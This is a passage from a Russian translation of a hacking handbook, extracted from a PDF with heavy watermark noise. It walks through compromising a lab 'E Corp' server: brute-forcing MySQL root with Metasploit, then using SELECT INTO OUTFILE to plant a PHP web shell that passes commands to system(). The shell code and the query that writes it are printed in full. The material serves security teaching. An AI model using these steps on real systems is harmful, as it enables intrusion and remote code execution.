Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Анализ сети  75 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Похоже, что модуль успешно идентифицировал версию сервера MySQL. Это

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

будет полезно при поиске известных уязвимостей.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если мы снова используем команду services, то заметим, что содержимое

 

 

 

 

 

 

 

 

 

 

 

 

поля info изменилось и в нем появились результаты сканирования mysql_

 

 

 

 

 

 

 

 

 

 

 

 

version.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

msf auxiliary(mysql_version) > services -s mysql

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Services

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

========

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

host

port proto name state info

 

 

 

 

 

 

 

 

 

 

 

-------- ----- ---- ----- ----

10.0.5.198 3306 tcp

mysql open

5.5.5-10.1.25-MariaDB

msf auxiliary(mysql_version) >

 

Там, где сканирование с Nmap не дало возможности определить номер версии, Metasploit преуспел и автоматически изменил базу данных, чтобы отра­ зить это. Однако после проверки по базе данных общеизвестных уязвимостей информационной безопасности не похоже, чтобы у этой инсталляции были какие-либо известные уязвимости.

Вернувшись в терминал Kali Linux,можем использовать клиентскую команду mysql, чтобы попытаться пройти аутентификацию от имени пользователя

root(-u) на хосте api.ecorp.local (-h).

root@kali:~# mysql -uroot -hapi.ecorp.local

ERROR 1045 (28000): Access denied for user 'root'@'attacker.c2' (using password: NO)

root@kali:~#

Обратите внимание на отсутствие пробела между опциями -u и -h и их соответствующими­ значениями.Быстрая проверка на предметпустого пароля root не удалась, но это доказывает, что сервер MySQL принимает соединения с удаленных адресов.

Определение учетных данных

Поскольку мы не смогли обнаружить уязвимость для экземпляра MySQL, следующим шагом станетпопытка атаки методом полного перебора на суперпользователя MySQL по умолчанию. Будем использовать один из наших час­ то используемых словарей с паролями в надежде, что этот экземпляр не был должным образом защищен во время развертывания.

С помощью Metasploit можно довольно легко начать атаку с целью подбора учетных данных для входа в MySQL. Используем вспомогательный модуль mysql_login, как показано на скриншоте. Этот модуль имеет ряд дополни­ тельных опций для настройки.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 76 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Глава 3.Легкая добыча

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.3.4. Модуль mysql_login

Прежде чем продолжить, установим следующие значения, чтобы сделать сканирование более эффективным и уменьшить шум.

msf auxiliary(mysql_login) > set THREADS 10 THREADS => 10

msf auxiliary(mysql_login) > set VERBOSE false VERBOSE => false

msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true

msf auxiliary(mysql_login) >

Увеличениечислапотоковпоможетнамбыстреепройтисканирование,хотя это может быть более заметным. Больше потоков означает больше подключений к службе. Если этот конкретный хост не очень устойчив, можем вызвать падение сервиса, предупредив тем самым средства защиты. Если наша цель – действоватьтише,мы используемтолько один поток,но сканирование займет гораздобольшевремени.ЗначениепеременнойVERBOSE должнобытьустановлено в false, поскольку мы будем тестировать большое количество паролей и вывод на консоль может превратиться в путаницу. Дополнительным бонусом к невербальному выводу является тот факт, что он значительно улучшает время сканирования,поскольку Metasploit не должен выводить что-либо на экран после каждой попытки. Наконец, если для STOP_ON_SUCCESS задано значение true, мы остановим атаку в случае успеха.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Анализ сети  77 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Именем пользователя будетroot,поскольку обычно в MySQL по умолчанию

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

включен именно он.

msf auxiliary(mysql_login) > set USERNAME root USERNAME => root

Что касается списка слов, то для переменной PASS_FILE будет установлена коллекция SecLists 10-million-passwordlist-top-500.txt. Это 500 самых популярных паролей из списка, содержащего свыше 10 млн паролей.

msf auxiliary(mysql_login) > set PASS_FILE

~/tools/SecLists/Passwords/Common-Credentials/10-million-password-listtop- 500.txt

PASS_FILE => ~/tools/SecLists/Passwords/Common-Credentials/10- millionpassword-list-top-10000.txt

msf auxiliary(mysql_login) >

Неплохое место для старта. Существуют другие лучшие варианты файла списка из 10 млн паролей, и если с его помощью не удастся создать действительный логин, можно попробовать топ-1000, топ-10 000 или другие списки слов.

Как и любой другой модуль в Metasploit, команда run начнет выполнение.

msf auxiliary(mysql_login) > run

Спустя несколько минут получаем хорошие новости.

[+] 10.0.5.198:3306

- MYSQL

- Success: 'root:789456123'

[*]Scanned 1 of 1 hosts (100% complete)

[*]Auxiliary module execution completed msf auxiliary(mysql_login) >

Похоже,мы нашли рабочий логин для инсталляции MySQL,работающего на том же компьютере, что и наше целевое приложение. Это может быть или не быть база данных, используемая самим API. Более внимательно посмотрим, можно ли найти способ создать оболочку и полностью скомпрометировать API-сервер E Corp., а также нашу жертву.

Можно подключиться напрямую из нашего экземпляра Kali Linux с по­ мощью команды mysql еще раз. Опция -u задает имя пользователя, а опция -p позволяет передатьтолько что обнаруженный пароль.Между опциями и их значениями нетпробела.Если опустим значениедля -p,клиентзапроситу нас пароль.

На скриншоте показано успешное подключение к службе баз данных и список доступных баз данных с использованием SQL-запроса show database;.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 78 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Глава 3.Легкая добыча

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.3.5. Успешно аутентифицированное соединение с целевой базой данных

После подключения мы запросили доступные базы данных, но, похоже, на этом сервере нет ничего, что имело бы отношение к API. Возможно, API настроен на использованиедругой базыданных SQL и мы наткнулисьна экземп­ ляр разработки, где мало интересных данных.

Учитывая тот факт, что мы являемся администратором базы данных, root, мы должны иметь возможность делать много чего интересного, в том числе записыватьпроизвольныеданныенадиск.Еслимыможемсделатьэто,значит, мы способны вызвать удаленное выполнение кода.

Существует модуль Metasploit (сюрприз), который может доставитьисполняемые файлы и инициироватьобратное подключение, используя известные учетные данные. В случае с компьютерами,

работающими на Windows,exploit/windows/mysql/mysql_payload

может загрузить оболочку Meterpreter и выполнить ее, хотя тут есть некоторые недостатки. Стандартная полезная нагрузка Metasploit, скорее всего, будет обнаружена антивирусным программным обеспечением,которое сообщит о ваших действиях.

Обойти антивирус можно с помощью абсолютно нераспознаваемой полезной нагрузки Metasploit, но в нашем случае мы воспользуемся более простым и менее рискованным вариантом.

В то время как MySQL может записывать файлы на диск с помощью операторов SQL-запросов, на самом деле запускать двоичные файлы немного сложнее. Нельзя просто записать двоичные данные на диск, но можно записать исходный код приложения. Самый простой способ добиться выполнения кода – написать PHP-код внутри каталога приложения, который позволит нам

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Анализ сети  79 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

выполнять команды оболочки через URL-адрес приложения. С помощью PHP

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

веб-оболочка будет принимать команды через HTTP-запрос методом GET и

 

 

 

 

 

 

 

 

 

 

 

 

передавать их в системную оболочку.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь выясним,где мы находимся на диске,чтобы у нас была возможность

 

 

 

 

 

 

 

 

 

 

 

 

записатьполезнуюнагрузкувсоответствующийкаталогвеб-приложения.SQL-

 

 

 

 

 

 

 

 

 

 

 

 

запрос SHOW VARIABLES позволяет увидеть данные конфигурации, а оператор

 

 

 

 

 

 

 

 

 

 

 

 

WHERE ограничивает вывод только информацией каталога.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MariaDB [(none)]> show variables where variable_name like '%dir';

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+---------------------------

 

 

 

 

+

+

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| Variable_name

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+---------------------------

 

 

 

 

+--------------------------------

+

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| aria_sync_log_dir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| basedir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| character_sets_dir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| datadir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| innodb_data_home_dir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| innodb_log_arch_dir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| innodb_log_group_home_dir |

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| innodb_tmpdir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| lc_messages_dir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| plugin_dir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| slave_load_tmpdir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| tmpdir

|

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+---------------------------

 

 

 

 

+--------------------------------

+

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

12 rows in set (0.00 sec)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MariaDB [(none)]>

 

 

 

 

 

 

 

 

 

 

 

 

 

Похоже,чтоэтоXAMPP,локальныйвеб-серверсоткрытымисходнымкодом. Основной код веб-сайта должен располагаться в c:\xampp\htdocs\. Можно проверить это с помощью быстрого теста, используя команду curl. Обычно в XAMPP есть подкаталог в папке htdocs под названием xampp. Среди прочего он содержит файл .version, в котором находится нужная нам информация – версия XAMPP.

root@kali:~# curl http://api.ecorp.local/xampp/.version

5.6.31

root@kali:~#

Вернемся к интерфейсу командной строки MySQL и попытаемся выполнить запись в этот каталог с помощью запроса SELECT INTO OUTFILE. Если сможем поместить PHP-файл где-то в папке htdocs, то у нас получится вызвать его из веб-браузера или с помощью curl, и у нас будет выполнение кода.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 80  Глава 3.Легкая добыча

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Шаблон с оператором SELECT, который станем использовать для этой цели,

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

выглядиттак:

select "[shell code]" into outfile "[/path/to/file.php]";

Подключим несколько тестовых значений и посмотрим, можно ли выполнить запись в целевой каталог и, что более важно, будет ли веб-сервер приложения правильно обрабатывать наш PHP-код.

MariaDB [(none)]> select "<?php phpinfo();/*ECorpAppTest11251*/

?>" into outfile "c:/xampp/htdocs/xampp/phpinfo.php";

Query OK, 1 row affected (0.01 sec) MariaDB [(none)]>

Флаг ECorpAppTest11251 добавлен в качестве комментария, если мы не сможем очистить эту оболочку после завершения теста и должны будем сообщить об этом Синей команде клиента.Это также поможет Синей команде определить файлы, пропущенные в рамкахупражнения по реагированию на компьютерные инциденты. Не всегда это необходимо делать, но это хорошая практика, особенно в случае с артефактами группы высокого риска.

Отлично – запрос оказался успешным. Мы можем проверить, работает ли интерпретатор PHP в этом каталоге и успешно ли выполняется файл, вызвав его из браузера, как показано на скриншоте.

Рис.3.6. PHP-код успешно выполняется

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Анализ сети  81 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

На этом этапе нам нужно получитьдоступ к командной строке сервера,что-

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

бы иметь возможность выполнять произвольные команды, а не просто выво-

 

 

 

 

 

 

 

 

 

 

 

 

дить данные PHP-конфигурации. Из-за изменения предыдущей полезной на-

 

 

 

 

 

 

 

 

 

 

 

 

грузки SELECT INTO

OUTFILE появится элементарная PHP-оболочка. В PHP

 

 

 

 

 

 

 

 

 

 

 

 

имеется встроенная функция, которая легко выполняет произвольные коман-

 

 

 

 

 

 

 

 

 

 

 

 

ды.Это относится ко всем серверным языкам веб-программирования: Python,

 

 

 

 

 

 

 

 

 

 

 

 

Perl,ASP, Ruby и др.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если мы передадим данные из запроса GET во встроенную PHP-функцию

 

 

 

 

 

 

system(), то сможем выполнять произвольные команды на самом сервере. Ниже показан исходный код нашей веб-оболочки.

Рис.3.7. Исходный код веб-оболочки

Код довольно прост. Оператор if убеждается, что значение хеша MD5 па-

раметра входящего password соответствует 4fe7aa8a3013d07e292e5218c3 db4944.При наличии совпадения в функцию system() будетпередана командная строка в параметре cmd,которая выполнитее в качестве системной команды, предоставляя нам доступ к командной строке сервера.

Значение MD5, которое мы ищем, – это хеш-значение ECorpAppTest11251, что подтверждается командой Linux md5sum.

root@sol:~# echo -n ECorpAppTest11251 | md5sum

4fe7aa8a3013d07e292e5218c3db4944 - root@sol:~#

Чтобы легко записать код оболочки на диск с помощью MySQL-запроса SELECT INTO OUTFILE, можно сжать его до одной строки. К счастью, PHP не особо обращает внимание на возврат каретки, если код правильно разделен точками с запятой и фигурными скобками. Мы можем изменить нашу вебоболочку.

<?php if (md5($_GET['password']) ==

‘4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>

Если подключим это к нашему шаблону SELECT INTO OUTFILE, то сможем записать его на диск в подкаталоге xampp, который возьмем в интернете.

MariaDB [(none)]> select "<?php if (md5($_GET['password']) == '4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>" into outfile "c:/xampp/htdocs/xampp/xampp.php";